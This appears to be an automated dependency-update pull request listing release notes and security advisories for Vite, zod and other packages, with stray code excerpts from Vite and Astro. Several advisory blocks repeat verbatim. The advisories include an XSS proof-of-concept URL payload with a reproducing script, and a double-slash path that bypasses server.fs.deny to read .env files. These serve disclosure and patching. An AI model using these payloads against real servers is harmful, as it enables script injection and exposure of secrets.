} else if (node.childNodes.length) {

const scriptNode =

node.childNodes.pop() as DefaultTreeAdapterMap['textNode']

scriptUrls.push(

...extractImportExpressionFromClassicScript(scriptNode),

)

}

}

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

vite/packages/vite/src/node/server/middlewares/htmlFallback.ts

Lines 44 to 47 in 73ef074

if (fs.existsSync(filePath)) {

const newUrl = url + 'index.html'

debug?.(`Rewriting ${req.method} ${req.url} to ${newUrl}`)

req.url = newUrl

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces
<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>
It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>
so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>
which demonstrates XSS.

PoC

Example 1. Serving HTML from vite dev middleware with appType: 'custom'

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html

"Open in New Tab"

Edit URL to set query string to ?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigate

Witness XSS:

Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server

(Same steps as above)

Example 3. Plain vite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used)

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev

(Same steps as above)

You should not see the alert box in this case

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

vite/docs/guide/ssr.md

Lines 114 to 126 in 7fd7c6c

const url = req.originalUrl

try {

// 1. Read index.html

let template = fs.readFileSync(

path.resolve(__dirname, 'index.html'),

'utf-8',

)

// 2. Apply Vite HTML transforms. This injects the Vite HMR client,

// and also applies HTML transforms from Vite plugins, e.g. global

// preambles from @vitejs/plugin-react

template = await vite.transformIndexHtml(url, template)

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises';
import * as vite from 'vite';

const html = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
  </head>
  <body>
    <script type="module">
      // Inline script
    </script>
  </body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();
and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

🚨 Vite XSS vulnerability in `server.transformIndexHtml` via URL payload

Summary

When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact

Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches

Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details

Suppose index.html contains an inline module script:
<script type="module">
  // Inline script
</script>
This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>
due to Vite's HTML plugin:

vite/packages/vite/src/node/plugins/html.ts

Lines 429 to 465 in 7fd7c6c

if (isModule) {

inlineModuleIndex++

if (url && !isExcludedUrl(url) && !isPublicFile) {

// <script type="module" src="..."/>

// add it as an import

js += `\nimport ${JSON.stringify(url)}`

shouldRemove = true

} else if (node.childNodes.length) {

const scriptNode =

node.childNodes.pop() as DefaultTreeAdapterMap['textNode']

const contents = scriptNode.value

// <script type="module">...</script>

const filePath = id.replace(normalizePath(config.root), '')

addToHTMLProxyCache(config, filePath, inlineModuleIndex, {

code: contents,

})

js += `\nimport "${id}?html-proxy&index=${inlineModuleIndex}.js"`

shouldRemove = true

}

everyScriptIsAsync &&= isAsync

someScriptsAreAsync ||= isAsync

someScriptsAreDefer ||= !isAsync

} else if (url && !isPublicFile) {

if (!isExcludedUrl(url)) {

config.logger.warn(

`<script src="${url}"> in "${publicPath}" can't be bundled without type="module" attribute`,

)

}

} else if (node.childNodes.length) {

const scriptNode =

node.childNodes.pop() as DefaultTreeAdapterMap['textNode']

scriptUrls.push(

...extractImportExpressionFromClassicScript(scriptNode),

)

}

}

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

vite/packages/vite/src/node/server/middlewares/htmlFallback.ts

Lines 44 to 47 in 73ef074

if (fs.existsSync(filePath)) {

const newUrl = url + 'index.html'

debug?.(`Rewriting ${req.method} ${req.url} to ${newUrl}`)

req.url = newUrl

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces
<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>
It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>
so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>
which demonstrates XSS.

PoC

Example 1. Serving HTML from vite dev middleware with appType: 'custom'

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html

"Open in New Tab"

Edit URL to set query string to ?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigate

Witness XSS:

Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server

(Same steps as above)

Example 3. Plain vite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used)

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev

(Same steps as above)

You should not see the alert box in this case

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

vite/docs/guide/ssr.md

Lines 114 to 126 in 7fd7c6c

const url = req.originalUrl

try {

// 1. Read index.html

let template = fs.readFileSync(

path.resolve(__dirname, 'index.html'),

'utf-8',

)

// 2. Apply Vite HTML transforms. This injects the Vite HMR client,

// and also applies HTML transforms from Vite plugins, e.g. global

// preambles from @vitejs/plugin-react

template = await vite.transformIndexHtml(url, template)

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises';
import * as vite from 'vite';

const html = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
  </head>
  <body>
    <script type="module">
      // Inline script
    </script>
  </body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();
and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: \n

🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: \n

🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: \n

🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: \n

🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: \n

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 22 commits:

↗️ vitefu (indirect, 0.2.2 → 1.1.3) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 37 commits:

↗️ yocto-queue (indirect, 0.1.0 → 1.2.2) · Repo

Release Notes

1.2.2

Fix: Clean up tail reference when queue empties 8aead27

v1.2.1...v1.2.2

1.2.1

Do not ignore undefined values while draining (#13) ee91589

v1.2.0...v1.2.1

1.2.0

Add .drain() method (#12) d631ea8

v1.1.1...v1.2.0

1.1.1

Fix Node.js 12 compatibility 90ab935

v1.1.0...v1.1.1

1.1.0

Add .peek() method 5bf850c

v1.0.0...v1.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 15 commits:

↗️ zod (indirect, 3.19.1 → 4.4.3) · Repo · Changelog

Security Advisories 🚨

🚨 Zod denial of service vulnerability

Zod version 3.22.2 allows an attacker to perform a denial of service while validating emails.

	const url = new URL(request.url);
	const transform = await imageService.parseURL(url, imageConfig);

	if (!transform?.src) {
	throw new Error('Incorrect transform returned by `parseURL`');
	}

	let inputBuffer: ArrayBuffer \| undefined = undefined;

	const isRemoteImage = isRemotePath(transform.src);

	if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
	return new Response('Forbidden', { status: 403 });
	}

	export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
	return (
	matchProtocol(url, remotePattern.protocol) &&
	matchHostname(url, remotePattern.hostname, true) &&
	matchPort(url, remotePattern.port) &&
	matchPathname(url, remotePattern.pathname, true)
	);

	export function matchPathname(url: URL, pathname?: string, allowWildcard = false): boolean {
	if (!pathname) {
	return true;
	} else if (!allowWildcard \|\| !pathname.endsWith('*')) {
	return pathname === url.pathname;
	} else if (pathname.endsWith('/**')) {
	const slicedPathname = pathname.slice(0, -2); // ** length
	return slicedPathname !== url.pathname && url.pathname.startsWith(slicedPathname);
	} else if (pathname.endsWith('/*')) {
	const slicedPathname = pathname.slice(0, -1); // * length
	const additionalPathChunks = url.pathname
	.replace(slicedPathname, '')
	.split('/')
	.filter(Boolean);
	return additionalPathChunks.length === 1;

	pathname = decodeURI(url.pathname);
	}

	// Add config.base back to url before passing it to SSR
	url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;

	export function trailingSlashMismatchTemplate(
	pathname: string,
	trailingSlash: 'always' \| 'never' \| 'ignore',
	) {
	const corrected =
	trailingSlash === 'always'
	? appendForwardSlash(pathname)
	: removeTrailingForwardSlash(pathname);
	return template({
	pathname,
	statusCode: 404,
	title: 'Not found',
	tabTitle: '404: Not Found',
	body: `<p>Your site is configured with <code>trailingSlash</code> set to <code>${trailingSlash}</code>. Do you want to go to <a href="${corrected}">${corrected}</a> instead?</p>
	<p>See <a href="https://docs.astro.build/en/reference/configuration-reference/#trailingslash">the documentation for <code>trailingSlash</code></a> if you need help.</p>`,
	});
	}

	function runScripts() {
	let wait = Promise.resolve();
	for (const script of Array.from(document.scripts)) {
	if (script.dataset.astroExec === '') continue;
	const type = script.getAttribute('type');
	if (type && type !== 'module' && type !== 'text/javascript') continue;
	const newScript = document.createElement('script');
	newScript.innerHTML = script.innerHTML;
	for (const attr of script.attributes) {
	if (attr.name === 'src') {
	const p = new Promise((r) => {
	newScript.onload = newScript.onerror = r;
	});
	wait = wait.then(() => p as any);
	}
	newScript.setAttribute(attr.name, attr.value);
	}
	newScript.dataset.astroExec = '';
	script.replaceWith(newScript);
	}
	return wait;
	}

	if (svgExtRE.test(id)) {
	const file = publicFile \|\| cleanUrl(id)
	const content = await fsp.readFile(file)
	if (shouldInline(environment, file, id, content, undefined, undefined)) {
	return assetToDataURL(environment, file, content)
	}

	if (isModule) {
	inlineModuleIndex++
	if (url && !isExcludedUrl(url) && !isPublicFile) {
	// <script type="module" src="..."/>
	// add it as an import
	js += `\nimport ${JSON.stringify(url)}`
	shouldRemove = true
	} else if (node.childNodes.length) {
	const scriptNode =
	node.childNodes.pop() as DefaultTreeAdapterMap['textNode']
	const contents = scriptNode.value
	// <script type="module">...</script>
	const filePath = id.replace(normalizePath(config.root), '')
	addToHTMLProxyCache(config, filePath, inlineModuleIndex, {
	code: contents,
	})
	js += `\nimport "${id}?html-proxy&index=${inlineModuleIndex}.js"`
	shouldRemove = true
	}

	everyScriptIsAsync &&= isAsync
	someScriptsAreAsync \|\|= isAsync
	someScriptsAreDefer \|\|= !isAsync
	} else if (url && !isPublicFile) {
	if (!isExcludedUrl(url)) {
	config.logger.warn(
	`<script src="${url}"> in "${publicPath}" can't be bundled without type="module" attribute`,
	)
	}
	} else if (node.childNodes.length) {
	const scriptNode =
	node.childNodes.pop() as DefaultTreeAdapterMap['textNode']
	scriptUrls.push(
	...extractImportExpressionFromClassicScript(scriptNode),
	)
	}
	}

	if (fs.existsSync(filePath)) {
	const newUrl = url + 'index.html'
	debug?.(`Rewriting ${req.method} ${req.url} to ${newUrl}`)
	req.url = newUrl

	const url = req.originalUrl

	try {
	// 1. Read index.html
	let template = fs.readFileSync(
	path.resolve(__dirname, 'index.html'),
	'utf-8',
	)

	// 2. Apply Vite HTML transforms. This injects the Vite HMR client,
	// and also applies HTML transforms from Vite plugins, e.g. global
	// preambles from @vitejs/plugin-react
	template = await vite.transformIndexHtml(url, template)